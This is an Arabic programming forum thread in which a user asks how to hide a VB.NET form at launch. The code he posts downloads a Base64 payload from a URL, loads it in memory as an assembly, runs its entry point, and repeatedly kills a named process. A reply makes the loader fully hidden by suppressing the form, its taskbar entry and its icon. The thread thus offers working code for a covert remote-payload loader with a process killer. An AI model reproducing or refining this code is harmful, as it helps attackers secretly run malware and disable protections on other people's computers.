[ VB.NET ] كيف أقوم باخفاء Form في VB.NET

تم تحميل الصفحة في 0,9831468 ثانية

Khaled Al.

Beginner Developer
rank
إنضم
12 يناير 2018
المشاركات
4
الإعجابات
1
النقاط
3
العمر
18

برعاية نقطة التطوير

السلام عليكم عندما أقوم بعمل Build للمشروع و اشغل البرنامجيظهر ال Form أنا لا أريده أن يظهر بتاتا
قمت بتجربة

()Form1.Show
()Me.Hide
عند محاولة عمل Build للمشروع يضهر هدا الخطأ
'GTDrOOwv.Form1' cannot refer to itself through its default instance; use 'Me' instead.

ممكن حل لهده المشكلة و شكرا
 
إنضم
2 نوفمبر 2013
المشاركات
410
الإعجابات
336
النقاط
63
الإقامة
أ،أ­أˆأ­أ‡
أضغط على الزر تفاصيل في الخطا واعطيني صورة له
وكذلك صورة من نافدة Solution Explorer
وكذلك اعطيني صورة أعلى شي في الفورم كود
 

Khaled Al.

Beginner Developer
rank
إنضم
12 يناير 2018
المشاركات
4
الإعجابات
1
النقاط
3
العمر
18
أضغط على الزر تفاصيل في الخطا واعطيني صورة له
وكذلك صورة من نافدة Solution Explorer
وكذلك اعطيني صورة أعلى شي في الفورم كود
C#:
Public Class Form1
    Protected krar As New Net.WebClient
    Protected king1 As String = krar.DownloadString("هنا رابط الخورازميه")
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim krar0 As Object = king2.load(Convert.FromBase64String(king1))                               '<=============== امر تحميل الملف من خلال  الرابط 
        Dim krar6 As Object = CallByName(krar0, "EntryPoint", CallType.Get)
        Timer1.Start()
        DirectCast(krar6, Reflection.MethodBase).Invoke("", Nothing)
    End Sub
    Protected king2 As Object = AppDomain.CurrentDomain

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        If Process.GetProcessesByName("اسم العمليه  المراد تعطيله").Length > 0 Then      '<================ امر قتل  العمليه
            For Each krar11 In Process.GetProcessesByName("اسم العمليه  المراد تعطيله")
                krar11.Kill()
            Next
        End If
    End Sub
End Class

هدا هو الكود الدي أشتغل عليه
و هده هي الصورة التي طلبتها
Screenshot
Screenshot
Screenshot
 
إنضم
10 أكتوبر 2016
المشاركات
410
الإعجابات
385
النقاط
63
العمر
27
فقط انسخ كود تابعك في مشروع
Public Class Form1
Protected krar As New Net.WebClient
Protected king1 As String = krar.DownloadString("هنا رابط الخورازميه")
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Hide()
Me.ShowInTaskbar = False
Me.ShowIcon = False
Dim krar0 As Object = king2.load(Convert.FromBase64String(king1)) '<=============== امر تحميل الملف من خلال الرابط
Dim krar6 As Object = CallByName(krar0, "EntryPoint", CallType.Get)
Timer1.Start()
DirectCast(krar6, Reflection.MethodBase).Invoke("", Nothing)
End Sub
Protected king2 As Object = AppDomain.CurrentDomain

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If Process.GetProcessesByName("اسم العمليه المراد تعطيله").Length > 0 Then '<================ امر قتل العمليه
For Each krar11 In Process.GetProcessesByName("اسم العمليه المراد تعطيله")
krar11.Kill()
Next
End If
End Sub
End Class
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل